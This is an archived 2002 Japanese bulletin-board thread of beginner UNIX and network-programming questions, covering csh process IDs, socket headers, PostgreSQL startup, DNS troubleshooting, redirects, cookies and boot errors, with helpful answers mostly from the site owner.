68user's page 掲示板

Prev< No. 2745〜3220> Next  [最新発言に戻る] [過去ログ一覧]
No. 2745 # シゲ 2002/06/13 (木) 12:36:14
昨日から、UNIXを勉強しだしました。大変、初歩的な質問かもしれないのでごめんなさい。
アクセス状態が-rw-------のファイルをmoreで表示させたいのですが、私はファイルの所有者ではないので表示させることができません。chmodは使わないでアクセスを出来るようなのですが、どうすれば良いのですか?
どなたか教えてください。よろしくお願いします。

No. 2746 # シゲ 2002/06/13 (木) 14:24:42
>>2745 シゲ
すみません。解決しました。
パスワードが解ればrootで入れるんですね。

No. 2747 # 68user 2002/06/13 (木) 17:39:03
>>2743 バクモン
> Cシェルでは直前に実行したコマンドのプロセスIDを取得する
> 方法はあるのでしょうか?
$status です。

>>2744 だいすけ
例えば、関数 listen を使いたい場合は、man listen として、
include すべきファイルを調べます.同様に accept や bind など、
使用している関数全てについて調べていくと、それだけのファイルを
include する必要がある、ということです。

No. 2748 # 木場 2002/06/13 (木) 23:06:36
ここのサイトのC言語のHTTPクライアントを使わせてもらって色々勉強させてもらってます。そこで質問なのですが、imodeのURL例えば(http://mobile.yahoo.co.jp/)のレスポンスが返ってくるプログラムを作ろうとしているのですが、どうも、302 FOUND がでてしまい、うまくいきません。どのように解決したらよいでしょうか?

No. 2749 # 68user 2002/06/14 (金) 00:59:09
>>2748 木場
Locaiton: ヘッダに示されている URL を読み込めばよいです。

No. 2750 # だいすけ 2002/06/14 (金) 09:21:22
前回のことについての質問のつづきですが
僕のもっている参考書には掲載されてないのですが、
僕のもっている参考書が古いということでしょうか?

No. 2751 # バクモン 2002/06/14 (金) 09:39:50
>>2747 68user
ご回答ありがとうございます。
ただ、$statusは直前のコマンドのリターン値がセットされる
と認識しています。
Cシェルで直前のプロセスIDを取得するには、プロセスをバック
グラウンドで動かすようにして、その際に標準出力されるプロセス
IDをテキストファイルにおとして、grepなりをする方法しか
ないかな、と考えています。

そこで、以下を考えました。
ftp -n <<EOF &
open [IPアドレス]
user [ユーザ名] [パスワード]
binary
get [getするファイル名] [保存するファイル名]
close
quit
EOF

これを実行すると
[1] 10161
と言った形でプロセスIDが出力されます。
ただ、これをテキストファイルに落とす方法がわかりません。
多分、リダイレクトをするのだと思っているのですが、どこに
それをうめこめばいいのでしょうか?

No. 2752 # だいすけ 2002/06/14 (金) 09:50:04
それとも
C言語で新しくできた関数なのでしょうか?

No. 2753 # 68user 2002/06/14 (金) 12:46:53
>>2751 バクモン
ああ、そういう意味ですか。

tcsh だと $! で取れますが、csh では無理かもしれないですね。
jobs -l だと取れそうですが、どうでしょうか。

ただ、僕なら監視用プロセスを別に起こします。

例えば、
    mkdir /tmp/.ftp-lock
    ftp -n <<EOF
    open
    ..
    quit
    EOF
    rmdir /tmp/.ftp-lock
として、監視プロセスは n 秒前より過去に /tmp/.ftp-lock が作成されて
いたら、
    kill `ps -ef | grep get-file.sh | grep -v grep'
する、とか。

もちっと確実にするなら
    ln -s $$ /tmp/.ftp-pid
    ftp -n <<EOF
    open
としてプロセス番号を特定できるようにする方法もあります ($$ は sh の
プロセス番号なので、$$ の子プロセスを kill する必要がありますけど)。


>>2750 だいすけ
「何が」参考書に掲載されていないのですか? netdb.h? listen? accept?

ここらへんの関数については規格化されていません。よって、UNIX では
使えても Windows では関数そのものがなかったりします。

例えば
    「ANSI C マニュアル」
といった書名ならば、規格化された関数については網羅しているかもしれませんが、
規格外の関数については載っていなくても不思議ではありません。

No. 2754 # だいすけ 2002/06/14 (金) 14:10:21
5: #include <sys/types.h>
                6: #include <sys/socket.h>
                7: #include <sys/uio.h>
                8: #include <unistd.h>
                9: #include <sys/param.h>
            10: #include <netinet/in.h>
            11: #include <arpa/inet.h
これらが参考書に掲載されてないという意味だったのですが
manコマンドでしれべていくのですね。
どうもありがとうございます。

No. 2755 # ビギナー 2002/06/14 (金) 15:32:49
はじめまして。
まだ、UNIXをはじめたばかりの初心者です。
いま、windows環境のマシンからtera termを使ってUNIXマシンにpostgressqlをインストールしています。そこで、「カーネルのコンフィギュレショーションファイルをチェックする」と書かれているのですが、これってどうやるのですか?
どなたか教えてください。
よろしくお願いします。

No. 2756 # 68user 2002/06/14 (金) 17:20:34
>>2755 ビギナー
> 「カーネルのコンフィギュレショーションファイルを
> チェックする」と書かれているのですが、これって
> どうやるのですか?
OS によって違います。

http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/kernel-resources.html
をどうぞ。

No. 2757 # ビギナー 2002/06/14 (金) 21:05:51
>>2756 68user
ありがとうございます。

No. 2758 # きば 2002/06/15 (土) 03:30:10
ご回答ありがとうございました。
今もちょっとわからないとこがあるのですが、
もうちょっと考えてわからなかったら、
聞きにきます。

No. 2759 # きば 2002/06/15 (土) 10:43:34
再び質問です。
先ほどの質問と症状は似ているのですが、imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)のリクエストを出すと

HTTP1.0 302 FOUND
DATE
Location http://mobile.yahoo.co.jp/error/404.html
Conection: close

のレスポンスが返ってきて、locationの部分を入れても実際のimodeのURLがゲットできなくて困っています。どのようにC言語のHTTPクライアント(1)
のソースをいじればちゃんとしたレスポンスが得られるでしょうか?
よろしくお願い致します。

No. 2760 # 黒木 2002/06/15 (土) 12:02:31
初めまして黒木と申します。UNIX初心者です。

/usr/dict/words という辞書ファイルからEが2個以上出て、AとDとTがそれ
ぞれ1個以上出て、最初がLで始まる単語が書かれてる行を見つけるには、
どういう1行コマンドを書けばよいでしょうか?よろしくお願いします。
(但し、文字は全て大文字・小文字を区別しない)

*ファイルは何でも良いので、見つける方法が知りたいのです。

No. 2761 # 68user 2002/06/15 (土) 21:45:19
>>2759 きば
> imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)
> リクエストを出すと
ブラウザで http://mobile.yahoo.co.jp/yahoo/index.html
見ると、404 not found になるので、

> Location http://mobile.yahoo.co.jp/error/404.html
当然そうなると思いますよ。

どこからこの URL が出てきたのでしょうか?

>>2760 黒木
grep -i 'E.*E' /usr/dict/words | grep -i A | grep -i D | grep -i T | grep -i '^L'
でどうでしょう。

No. 2762 # きば 2002/06/15 (土) 22:10:56
すばやいレスありがとうございます。
http://mobile.yahoo.co.jp/yahoo/index.html
↑はimodeの使える携帯端末で見ることの出来るヤフーのカテゴリ検索のサイトです。
上記のURLのリクエストを送ったら携帯端末で見ることの出来るサイトをレスポンスしてくれるようにしたいのです。


imode専用のHTTPクライアントを68userさんのC言語のHTTPクライアント(1)を参考に作ろうと思っていて、とりあえず上記のURLで実験して作ろうと試みているのですが、なかなかうまくいかないので、68userさんの力をかして頂きたいと思う次第です。

No. 2763 # 68user 2002/06/15 (土) 22:24:44
>>2762 きば
i-mode 端末のみで利用可能なページということですね?

なら、
    http://www.nttdocomo.co.jp/p_s/imode/tag/s2.html
を参考にして、
    GET /yahoo/index.html HTTP/1.0
    User-Agent: DoCoMo/1.0/N209i
などなど。

No. 2764 # きば 2002/06/15 (土) 22:34:50
はい。imodeのみ利用可能なページです。
なるほど、、
urlをみてもうちょっとがんばってみます。
貴重なご意見ありがとうございます。

No. 2765 # 黒木 2002/06/16 (日) 01:28:01
>>2761 68user
有難う御座いました。これで良いですね。

No. 2766 # バクモン 2002/06/17 (月) 12:05:12
>>2753 68user
ご回答ありがとうございます。
以下のようにロジックを変更しようかと思います。

・ftpをバックグランドで動かす
・jobs -lの結果をテキストファイルに落とす
・5分sleepする(※1)
・grepとawkを使用して、テキストファイルからftpのプロセスIDを取得する
・ps -p にて取得したプロセスIDのプロセス生存を確認
・ps -p のリターンコードが0以外であればkillするif文をおこなう(※2)

こんな感じかな、と考えています。
怖い部分は※1,2です。
※1:とりあえずユーザさんには現在の環境でgetが3分を越えることは
            ないといわれているので、安全を見て5分sleepさせるようにしたが
            本当に大丈夫か?
>>ユーザさんがOKと言っているので、問題なし・・・かな。
※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず
            0以外となる。逆にHITした場合は、必ず0となる。
>>このハンドリングは正しいのか、ちょっと自信なし。

色々とご回答ありがとうございました。

No. 2767 # ユウ 2002/06/18 (火) 19:36:45
はじめまして。
私は、最近linuxを使い出した初心者です。
最近、仕事でpostgresqlをインストールしました。
インストールには成功したようなのですが、
$ pg_ctl startで起動をするとpostgresql(postmaster?)は起動します。
しかし
$ postmasterでは、
    DEBUG ...
    DEBUG ...
    DEBUG ...
    DEBUG ...
と出力され、その後エラーメッセージも何も出なくて、反応が無くなってしまいます。(いつも、ctrl+cで抜けています)
どうしてでしょうか?
どなたかご存知の方、ご教授ください。

No. 2768 # ユウ 2002/06/18 (火) 19:44:07
書き忘れていました。
バージョン:postgresql-7.11
環境:open blocksというlinuxマシンです。
            (redhatでも同様でした)

No. 2769 # 68user 2002/06/18 (火) 21:26:29
>>2767 ユウ
> $ postmasterでは、
引数なしで実行したのですか? データベースクラスタの場所はどうやって
指定しているのですか? 環境変数 PGDATA?

> DEBUG ...
この ... というのは省略したのですか? 本当に ... と表示されたのですか?

> その後エラーメッセージも何も出なくて、反応が無くなってしまいます。

それはフォアグラウンドで起動しているだけで、正常起動じゃないんでしょうか?

        http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html
        > サーバを起動する一番簡単な方法例は、
        >  postmaster -D /usr/local/pgsql/data
        > となり、サーバをフォアグラウンドで走らせます。
        > バックグランドでpostmasterを起動する には通常のシェルの構文を使います。

また、
    % sh -x pg_ctl start
として、pg_ctl 内で実行される postmaster の引数を確認するのも
よいでしょう。


>>2766 バクモン
> ※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず
> 0以外となる。逆にHITした場合は、必ず0となる。
> >>このハンドリングは正しいのか、ちょっと自信なし。
問題ないと思いますが、それでも心配なら
    % ps -p [pid] | grep スクリプト名
などなど。

No. 2770 # せと [E-mail] 2002/06/19 (水) 09:55:45
はじめまして。
ネットワークプログラミングの知識を参考にさせてもらっています。
で、ひとつ作りたいプログラムがあって質問させてください。
現在PERLを利用して、TERATERMのマクロのようにプログラムの出力結果を分析して、
次のバッチの投入のような監視?ツールを作りたいと思っています。
で、ソケットをつかってポート23にアクセスしに行くのですが、
固まってしまいます。ポート80や110にはここのサイトの見本をまねて
アクセスすることは出来るのですが・・・。
shでやるというのも考えられるのですが、suではパスワードを聞いてきますし、
別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね?

ポート23にアクセスして結果をやり取りするにはどうしたらよいのでしょうか?
どなたかお分かりでしたらヒントをお願いします。

No. 2771 # ユウ 2002/06/19 (水) 11:26:13
>>2769 68user
お返事ありがとうございます。
質問の書き方が下手で、申し訳がありません。
PGDATA=/usr/local/pgsql/dataを設定していて
$ postmaster
は引数なしで実行しています。(pg_ctl startもそうです)
DEBUG...はDEBUGのあとの出力を省略させていただきました。
UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。
$pg_ctl startを実行すると
postmaster successfully started
と出力されたあとに
DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると
[postgres@AAAServer postgres]$
と次のコマンド入力が可能になります。
しかし
$ postmasterを実行しても
postmaster successfully started
というメッセージは出ないで、
DEBUG...(省略しています)と5行でてreturnキーを押下しても
[postgres@AAAServer postgres]$
とはならず、改行されるだけです。
(以上は、openblocks,redhat両方共の環境です)

いろいろ試してみると、
redhat環境では、/usr/local/pgsql/data/postgresql.confに
silent_mode = on
tcpip_socket = on
syslog = 2
と追記して
$ postmasterを実行すると
DEBUG...(省略します)とは出力されないで、
[postgres@AAAServer postgres]$
となり、postgresqlは起動しました。
そこで、openblocksでpostgres.confを上記のように変更して
$ postmasterを実行しました。すると
FATAL 1: 'silent' is not valid option name
とエラーが帰ってきました。
$pg_ctl startで実行した結果も、
postmaster successfully started
と出力された後に、同様のエラーが帰ってきました。
(postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。)

申し訳がありませんが、ご教授ください。

No. 2772 # ユウ 2002/06/19 (水) 12:04:39
お返事ありがとうございます。
質問の書き方が下手で、申し訳がありません。
PGDATA=/usr/local/pgsql/dataを設定していて
$ postmaster
は引数なしで実行しています。(pg_ctl startもそうです)
DEBUG...はDEBUGのあとの出力を省略させていただきました。
UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。
$pg_ctl startを実行すると
postmaster successfully started
と出力されたあとに
DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると
[postgres@AAAServer postgres]$
と次のコマンド入力が可能になります。
しかし
$ postmasterを実行しても
postmaster successfully started
というメッセージは出ないで、
DEBUG...(省略しています)と5行でてreturnキーを押下しても
[postgres@AAAServer postgres]$
とはならず、改行されるだけです。
(以上は、openblocks,redhat両方共の環境です)

いろいろ試してみると、
redhat環境では、/usr/local/pgsql/data/postgresql.confに
silent_mode = on
tcpip_socket = on
syslog = 2
と追記して
$ postmasterを実行すると
DEBUG...(省略します)とは出力されないで、
[postgres@AAAServer postgres]$
となり、postgresqlは起動しました。
そこで、openblocksでpostgres.confを上記のように変更して
$ postmasterを実行しました。すると
FATAL 1: 'silent' is not valid option name
とエラーが帰ってきました。
$pg_ctl startで実行した結果も、
postmaster successfully started
と出力された後に、同様のエラーが帰ってきました。
(postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。)

申し訳がありませんが、ご教授ください。

No. 2773 # 68user 2002/06/19 (水) 13:48:40
>>2770 せと
> で、ソケットをつかってポート23にアクセスしに行くのですが、
> 固まってしまいます。
要は telnet クライアントを作りたいと。

接続後、telnet プロトコルに従ってネゴシエーションをする
必要があります。詳細は http://www.faqs.org/rfcs/rfc318.html
perl のモジュールを使うなら Net::Telnet がよいでしょう。

ただし、telnet クライアントができても、文字の送信/文字の
受信が可能になるだけです。エラー発生の判断などはやはり
プログラム側で行わなくてはいけません。

というわけで、素直に
> プログラムの出力結果を分析して、次のバッチの投入のような監視?ツール
を行うスクリプトを作った方がよいでしょう。

> suではパスワードを聞いてきますし、
> 別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね?
危惧しておられることがよくわからないのですが、普通はスクリプトなどを
書けば実現可能です。


>>2772 ユウ
> $ postmasterを実行しても
> postmaster successfully started
> というメッセージは出ないで、
> DEBUG...(省略しています)と5行でてreturnキーを押下しても
> [postgres@AAAServer postgres]$
> とはならず、改行されるだけです。
それはそれで正常です。キーの入力をそのアプリが奪うような状況を
「フォアグラウンドで動作している」と言います。逆に、アプリが
裏で動いているような状況を「バックグラウンドで動作している」
と言います。
    http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html
にある通り、postmaster を実行すると、単にフォアグラウンドで
動くという仕様になっているだけです。postmaster を実行した後、
別ウィンドウで psql を実行すると、ちゃんと接続できるはずです。

> $ postmasterを実行しても
> postmaster successfully started
> というメッセージは出ないで、
postmaster successfully started という文字列を表示をしているのは
pg_ctl だからです。

postmaster をバックグラウンドで動かすには、
    - postmaster & として起動する。
    - postgresql.conf を修正して silent_mode=true とする。
    - postmaster -S とする。
    - postmaster -c silent_mode=true とする。
などの方法があります (true と on は同じ)。全てマニュアル
    http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/runtime-config.html
に書いてあります。

> FATAL 1: 'silent' is not valid option name
'silent_mode' is ... ならわかりますが、`silent' is ... となるということは、
postgresql.conf に
    silent=true
などと書いていませんか?

> tcpip_socketで同様のエラーが起きます。
ということは、その上にある行がおかしい可能性もあります。

とにかく、まずは postgresql.conf への追加時に修正ミスをしていないかを
疑うべきでしょう。

あとは、OpenBlockS にインストールされている PostgreSQL のバージョンと
RedHat にインストールされている PostgreSQL のバージョンが違うとか。

No. 2774 # ユウ 2002/06/19 (水) 14:38:00
>>2773 68user
ご指摘の通りでした。
silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。
ありがとうございました。

No. 2775 # レイラ 2002/06/19 (水) 14:44:12
初めて投稿します。Solarisでハードウェアの診断をする機能があると聞きました。旧SUN OSでは、ダイアグというそうですが、オンボードやHDDの状態を診断して、異常個所をリストアップしてくれるような機能があれば、教えてちょんまげ!何卒よろしくお願いします。

No. 2776 # だいすけ 2002/06/19 (水) 14:48:26
echoサーバ(C言語)でのことですが
#include <sys/uio.h>
#include <unistd.h>
#include <sys/param.h>
#include <netinet/in.h>
#include <arpa/inet.h>
これらがなくても正常にコンパイルできるのですが、必要なのでしょうか?

No. 2777 # ユウ 2002/06/19 (水) 15:10:12
ご指摘の通りでした。
silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。
ありがとうございました。

No. 2778 # 紅の猫 [E-mail] 2002/06/19 (水) 21:45:01
#2776
>これらがなくても正常にコンパイルできるのですが、必要なのでしょうか?
windowsでならば必要ないと思います。

No. 2779 # has 2002/06/19 (水) 21:51:05
こんばんは。
最近はお一人で回答をしておられるようでおつかれさまです >68user
とかいいつつ私も質問しに来てるんですが…。

で早速ですがどなたか知恵をお貸しください。

現在P4マシン上でRedhat7.1.94を利用しており、100BASEカードを使って
LAN経由でインターネットにアクセスしています。
IPはDHCPサーバから割り振られているのですが、Netscapeなど、
どうやらgethostbynameを呼んでいると思われるプログラムが
名前解決できずに困っています。

ただしnslookupやhostコマンドでは正しく名前解決できる上、
Netscape等からも数字のIPを直に打てばアクセスできています。
試しに/etc/hostsに[216.239.33.101 www.google.co.jp]を記述すると、
Netscapeからもアクセスできました。

dhcpのクライアントにはdhcpcd-1.3.18を[/sbin/dhcpcd -n eth0]で
起動していて、自ホストのIPは正しく取得できているようです。
/etc/host.confには[order hosts,bind]のみを記述しており、
resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定
[nameserver 192.168.0.1]を記述しています。

自分なりに無い知識をいくらかでも埋めようとgoogleで探し回ったのですが
全てに目を通すほどパワーが続きませんでした。
どうぞよろしくお願いします。

No. 2780 # aozora 2002/06/20 (木) 00:23:56
はじめまして。

あまりにも簡単な質問のようで申し訳ないのですが、
「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」でしょうか?
どこで読んだのか、「ポート番号とプロセスIDを組み合わせたもの」という考えが頭を離れず、
自分でもいろいろ調べたのですが、解答は見つかりませんでした。
もしかしたら見当違いな質問なのかもしれませが、
ソケットの知識をお持ちの方がおりましたら、ご教授願います。

どうぞよろしくお願い致します。

No. 2781 # 68user 2002/06/20 (木) 05:30:37
>>2779 has
ども。最近会社でもやる気ゼロなので、回答なぞしてるんですわ。

もしかして Netscape を起動した後に dhcp クライアントを起動
してません? もしそうなら順番を逆にしてみるとか。

そうでないなら、tcpdump の結果を見せてくださいな。

あと、あらゆる gethostbyname が失敗してますか?
    % perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))"
もダメですか?

>>2780 aozora
> 「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」
> でしょうか?
「IP アドレスとポート番号を組み合わせたもの」は相手を一意に特定するための
識別子で、たとえるなら電話番号です。
# ただし、それは IP の話。UNIX ドメインソケットでは、ファイルが識別子です。

「ソケット」は、通信路の端点で、たとえるなら電話機です。

これを同じものと考えてしまうと、例えば bind(2) が理解できなく
なります。bind(2) はたとえるなら電話機に電話線をつなぐという
感じでしょうか。

> 「ポート番号とプロセスIDを組み合わせたもの」
違います。1プロセスから複数のソケットを使うことができますから。

No. 2782 # shido 2002/06/20 (木) 11:32:14
初めて書き込みをします。
UNIXは、まだ初心者です。

お聞きしたい事を書き込みます。
現在、「share」コマンドでディレクトリを共有した後、「dfmount」コマンドで共有されたディレクトリにアクセス中のクライアント名を取り出そうとしています。
「dfmount」コマンドで情報が取れないのですが、どうしてなのでしょうか?
「share」の情報を書き込みます。
> /usr/sbin/share
- /share rw=client "File Service"
- /home rw=nini:gp7000s,root=gp7000s "File Service"
- /shared rw=osl:gp7000s,root=gp7000s "File Service"
>

No. 2783 # シド 2002/06/20 (木) 11:41:06
はじめて書き込みます。
UNIXの初心者シドです。
少し教えてほしいことが有ります。
知っていられる方は、お教え願えないでしょうか?
「share」コマンドを実行して、「dfmounts」コマンドを実行すると何も表示されません。なぜでしょうか?
「share」の情報と「dfmounts」コマンドを実行したときの表示部分を書きます。
> /usr/sbin/share
- /share rw=client "File Service"
- /home rw=nini:gp7000s,root=gp7000s "File Service"
- /shared rw=osl:gp7000s,root=gp7000s "File Service"
> /usr/sbin/dfmounts
>

No. 2784 # シゲ 2002/06/20 (木) 12:21:48
UNIX初心者(パソコンも初心者です)の私にどうか教えてください。

telnetを使って、redhat環境のマシンに接続して操作をしています。
$shutdown -r now
で再起動をしました。
すると、立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、立ち上がって普通は
[ユーザ名(マシン名)カレントディレクトリ]$
と出るところで、マシン名がnone(本来はmizuho)になっていました。そして、書き込み可能(-wrxwrxwrx)のファイルを操作しようとすると、読取専用とエラーメッセージが出て操作できなくなってしまいました。(全ファイルそうです)
  
いろいろやってみた結果、
$mount -o remount, rw /dev/hda5 /
で、書き込み可能にはなりましたが、再起動をすると読み込み専用に戻ってしまいます。
(boot.log,messageを見てみましたが、snmpd shutdown failedと出ています。これって関係ありますか?)
  
どなたか直し方を教えてください。
お願いします。

それと今、boot画面のメッセージをチェックしようとしているのですが、1行ずつ進める方法があるらしいです。これってどうやるのですか?

No. 2785 # うみ [E-mail] 2002/06/20 (木) 18:18:16
はじめまして。
現在どうしても解決できない問題があり、書き込みました。
どなたかご存知の方いらっしゃいましたら、レスよろしくお願いします。

WEBサーバにおいてLocationヘッダで指定したURLへリダイレクトさせて、
かつリダイレクト先へのHTTPリクエストにCookieを設定したいのですが、
設定できない状態になっています。

---------------------------------------------------------
HTTP/1.1 302 Found\n
Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n
Location: http://www.hogehoge.co.jp\n\n
---------------------------------------------------------

のようなレスポンスを返却するCGIを作成したのですが、上記レス
ポンスを返すサーバとリダイレクト先のサーバが異なる場合、次の
リクエストにCookieが付加されてきません。
Cookieを設定できるのは、自分と同じドメインのみなのでしょうか。

当たり前の事だったら申し訳ありません。
よろしくお願いします。

No. 2786 # 68user 2002/06/20 (木) 19:28:47
>>2785 うみ
> Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n
cookie で domain をセットしたことがないのでよく知りませんが、
無理なんじゃないでしょうか。これができるなら、任意のサーバの
cookie を外部からセットできることになります。

http://www2.studyinghttp.net/cookies.html を見ると、
    server-1.hogehoge.co.jp で
        Set-Cookie: test=a domain=hogehoge.co.jp
    という cookie を吐くと server-1.hogehoge.co.jp や
    server-2.hogehoge.co.jp に送り返されるようになる。
ということではないかと思います。

もし、「Location なしだとうまくいくが、Location ありだとダメ」
ということなら、上記の認識は間違っているんでしょうけど。

>>2784 シゲ
> 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、
このときコンソールには何が出力されていますか? 症状からすると
何かしらのエラーが発生して、Read-only で mount され、シングル
ユーザモードで起動しているように見えますが、根本原因がコンソール
に表示されていると思います。

>>2783 シド
>>2775 レイラ
僕には全くわからない分野なので、お役に立てないようです。

No. 2787 # 68user 2002/06/20 (木) 19:32:56
>>2786 68user
>> 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、
> 何かしらのエラーが発生して、Read-only で mount され、シングル
> ユーザモードで起動しているように見えますが
あ、10分待てば起動するのなら違うのかなぁ。

> snmpd shutdown failedと出ています。これって関係ありますか?
shutdown 時のエラーなので関係ないと思います (実は関係あったり
するのかもしれませんけど)。

> 1行ずつ進める方法があるらしいです。
少なくとも FreeBSD では、Scroll Lock を押せばスクロールが止まり、
カーソルキーで移動できます。Linux ではどうなのかはわかりません。

No. 2788 # aozora 2002/06/20 (木) 21:18:13
>>2781 68user
ソケットについてのご教授、ありがとうございました。
かなり間違って理解していたようですが、
お陰様でソケットの考え方について理解できるようになりました。

No. 2789 # シゲ 2002/06/20 (木) 21:21:47
>>2786 68user
お返事ありがとうございます。
早速、scroll lockで画面と止めながら(出来ました!)エラーを見てみました。
Updating /etc/fstab failed to open /proc/partitions:No such file or directory

Flushing all current rules and user defined chains:ipachains:incompatible with this kernel

Clearing all current rules and user and user defined chains:ipchains:Incompatible with this kernel

Starting system logger

Errot:MM:mm:core:failed to open semaphore file(read-only file system):OS:No such file or directory

mount:special device LABEL=/boot does not exisist

Starting crond:crond:can't open or create /var/run/crond/pid:Read-only file system

と7箇所でエラーが出てました。
これを見て私がわかったのは、
/proc/partitionsがない
/bootの何かがない
と言うことです。
見てみると、/proc,/boot両ディレクトリの中がまったく存在しませんでした。
何じゃコリャ!
UNIX初心者(パソコンも)にはまったく解りません。

どうか、ご教授ください。

No. 2790 # has 2002/06/21 (金) 02:14:05
こんばんは。
お仕事大変ですな。まあそう腐らずに頑張ってください >68user

さてガキの使いですんません。宿題やってきました。

まずdhcpcdですが、psで確認しても起動時から動いているようなので、
Netscapeの方が先ということはなさそうです。
次にperlスクリプトですが、残念ながら、
Bad arg length for Socket::inet_ntoa, length is 0, should be 4 at -e line 1.
と表示されます。要は正引きが失敗しているようです。
逆引きは引数の渡し方がわかりませんでした。
# なんせlinuxからはweb検索にも支障をきたしているもので(^^;)

最後にtcpdumpの出力です。tcpdumpを動かしてから、
% host www.jp.freebsd.org
のコマンドと、netscapeにてhttp://www.jp.freebsd.org
http://210.157.158.42/へのアクセスなどをしてみました。
# が、記録に残っているかは私にはわかりませんでした

# /usr/sbin/tcpdump
tcpdump: listening on eth0
01:47:38.943528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1226176673 win 8576 (DF)
01:47:38.943528 192.168.0.40.32797 > 192.168.0.1.domain: 29608+ PTR? 198.129.90.143.in-addr.arpa. (45) (DF)
01:47:38.963528 192.168.0.39.3276 > 143.90.129.198.http: S 22004303:22004303(0) win 8192 <mss 1460,nop,nop,sackOK> (DF)
01:47:38.983528 43.242.210.37.6699 > 192.168.0.33.1190: . 3236267430:3236268764(1334) ack 2911899325 win 17252 (DF)
01:47:38.983528 192.168.0.33.1190 > 43.242.210.37.6699: . ack 4294960438 win 17520 <nop,nop,sack sack 1 {4294961772:1334} > (DF)
01:47:38.993528 211.129.12.43.domain > 192.168.0.40.32797: 29608 1/2/2 (141)
01:47:38.993528 192.168.0.40 > 211.129.12.43: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0]
01:47:38.993528 211.129.14.134.domain > 192.168.0.40.32797: 29608 1/2/2 (141)
01:47:38.993528 192.168.0.40 > 211.129.14.134: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0]
01:47:39.003528 143.90.129.198.http > 192.168.0.39.3044: . 5897:6433(536) ack 0 win 32767
01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.013528 143.90.129.198.http > 192.168.0.39.3044: . 6433:6969(536) ack 0 win 32767
01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.023528 43.242.210.37.6699 > 192.168.0.33.1191: . 3298096123:3298097457(1334) ack 2981221337 win 17235 (DF)
01:47:39.023528 143.90.129.198.http > 192.168.0.39.3276: S 1909102369:1909102369(0) ack 22004304 win 536 <mss 536>
01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: P 1:43(42) ack 1 win 8576 (DF)

No. 2791 # シド 2002/06/21 (金) 10:57:06
困っています。誰か助けてください。
UNIXのファイルシステムと他のファイルシステムの切り分けをどのコマンドを使用すればいいのかわかりません。(他のファイルシステムは、SafeFile/Globalファイルシステムです。)はじめは、fstypコマンドを使用すれば、良いと思ったんですが、UFS(UNIXファイルシステム)しか、出てきません。それにデバイス中です。と言うエラーが発生して、困っています。解決策を知っている方は、お教え願えないでしょうか?

No. 2792 # だいすけ 2002/06/21 (金) 11:45:26
echoサーバ(Perl)の5行目の
5: use Socket;
この文はどういう意味なのでしょうか?
おしえてください。

No. 2793 # だいすけ 2002/06/21 (金) 11:56:41
echoサーバのほうはプログラムに解説してくださっているので、読んでみてなんとか理解できそうなのですが、クライアントのほうを書けそうにありません。クライアントのほうもおしえていただけないでしょうか?

No. 2794 # シゲ 2002/06/21 (金) 12:07:10
>>2786 68user
お騒がせしました。出来ちゃいました。
boot画面を見ていると
can't execute rc.sysinit
となっていたので、rc.sysinitを見てみるとアクセス権が
-rw-r-xr-x
となっていました。これでは実行権がないので
-rwx-r-xr-x
とするとできました。
出来てしまえば簡単なことでした。

ありがとうございました。

No. 2795 # [E-mail] 2002/06/21 (金) 21:09:28
初めまして。大学の授業で初UNIXに相当困り果ててるものです・・・。どうか教えてください。
/usr/dict/words とうゆうファイルは単語の先頭の文字をアルファベット順に並べたものですよね??これを単語のおしまいで分類したものだすようにしたいのです。1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!!
よろしくお願いします(><)

No. 2796 # 68user 2002/06/21 (金) 23:55:31
>>2790 has
> 最後にtcpdumpの出力です。
Query 投げてないですねぇ。普通は
    23:36:51.920878 192.168.0.5.2275 > 192.168.0.1.domain: 4+ A? www.jp.FreeBSD.org. (36)
    23:36:52.003329 192.168.0.1.domain > 192.168.0.5.2275: 4 1/4/5 A updraft.jp.FreeBSD.ORG (251)
こんな感じのが流れるはずです。念のため、
    % strace dig www.jp.FreeBSD.org
で流れを追ってみてください。うちの FreeBSD では (*BSD は truss)
